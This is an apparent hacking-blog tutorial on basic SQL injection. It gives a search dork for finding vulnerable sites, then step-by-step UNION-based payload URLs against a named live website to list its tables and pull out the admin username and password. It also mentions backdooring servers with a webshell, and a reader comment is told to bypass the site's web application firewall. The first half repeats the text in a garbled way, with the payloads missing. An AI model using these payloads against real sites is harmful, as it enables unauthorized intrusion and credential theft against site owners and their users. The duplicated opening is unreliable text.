Hello My Dear Readers :)
Now i Thought to Share SQL Injection tutorials Here with You Guys. and I Divided it Into 3 Parts.
And what are Requirements.
First of all You Guyz have to find A Vulnerable site For SQL Injection. For Which You Can Use Any dork. a famous dork is Here.
Here in My Case i Got error.
In My Case it is Like This.
it Should Show Some Type Of Number now , In My Case Its showing.
Now 2,3 and 4 are InjectAble.
so What I'll do just Add
In My Case it Will Be.
and Result is.
Now I Want to Know Admin ID and PASSWORD. So I'll Use Admin Table To Fetch its Data. Command Should Look Like This.
and It'll Fetch out Data From ADMIN table. Now Its Time to Get Data From Admin Table. Suppose its
so Now Query Should Be Like.
Viola :D You Can see Admin Username & Password On The Page. So Guys This is A Simplest and Basic Tutorial on How a Sql Injection Actually Works.
Hope You Will Like This Article , Please Share Us To Increase us aswell, also In Case Of You Don't Understand What I've Posted then simple Comment Down Your Problwm and We'll Get Back to You as soon as possible :)
This Post Is Written By Muhammad Adeel , He is a Security Researcher And Programmer Of C++,C,Python,Ruby,HTML and A Bit More ;)
I Recently wrote An Article About How to Backdoor a server Using Weevely Stealth WebShell.
Now i Thought to Share SQL Injection tutorials Here with You Guys. and I Divided it Into 3 Parts.
1. Basic Sql Injection
2. Waf Bypassing
3. Advanced Sql Injjection
And what are Requirements.
Lets Start our Part 1 Now.Patience to Playe With things and A Clever Brain ofcourse :D
First of all You Guyz have to find A Vulnerable site For SQL Injection. For Which You Can Use Any dork. a famous dork is Here.
and You'll Get A Huge List of sites, Lets Say I Got a site.inurl:.php?id= site:com
Now What I have To Do is to check if its vulnerable or No , Just Add a String ( ' ) after the Parameter ID. It Should Look Like This.http://www.dakshindare.co.in/official.php?id=3
and If You see An SQL ERROR on the Page or Any Change in Page Then This Site is Vulnerable to SQl Injection.http://www.dakshindare.co.in/official.php?id=3'
Here in My Case i Got error.
its Intresting :D , Now Lets Try to Check its Columns. To Do it You Have to Simple Add .Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/dakshind/public_html/official.php on line 48
command , Here "x" Could Be any Number. and We Have to check the Url and Keep Adding x+1 untill we Get error again.order by x--
In My Case it is Like This.
- http://www.dakshindare.co.in/official.php?id=3 order by 1-- (No Error)
- http://www.dakshindare.co.in/official.php?id=3 order by 7-- (Error)
http://www.dakshindare.co.in/official.php?id=-3 union select 1,2,3,4,5,6--
it Should Show Some Type Of Number now , In My Case Its showing.
Now 2,3 and 4 are InjectAble.
so What I'll do just Add
group_concat(table_name) , from information_schema.tables where table_schema=database()
In My Case it Will Be.
http://www.dakshindare.co.in/official.php?id=3 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
and Result is.
Now I Want to Know Admin ID and PASSWORD. So I'll Use Admin Table To Fetch its Data. Command Should Look Like This.
http://www.dakshindare.co.in/official.php?id=3 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--
and It'll Fetch out Data From ADMIN table. Now Its Time to Get Data From Admin Table. Suppose its
- username
- password
so Now Query Should Be Like.
http://www.dakshindare.co.in/official.php?id=3 union select 1,group_concat(username,0x3a,password),3,4,5,6 from admin--
Viola :D You Can see Admin Username & Password On The Page. So Guys This is A Simplest and Basic Tutorial on How a Sql Injection Actually Works.
Hope You Will Like This Article , Please Share Us To Increase us aswell, also In Case Of You Don't Understand What I've Posted then simple Comment Down Your Problwm and We'll Get Back to You as soon as possible :)
This Post Is Written By Muhammad Adeel , He is a Security Researcher And Programmer Of C++,C,Python,Ruby,HTML and A Bit More ;)
after "http://www.dakshindare.co.in/official.php?id=-3 union select 1,2,3,4,5,6--" this command the page displays this "An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security". how to rectify this
ReplyDeleteYou need to bypass WAF(Web Application Firewall) to reach your goal
DeleteMuhammad Adeel is a racist.
ReplyDelete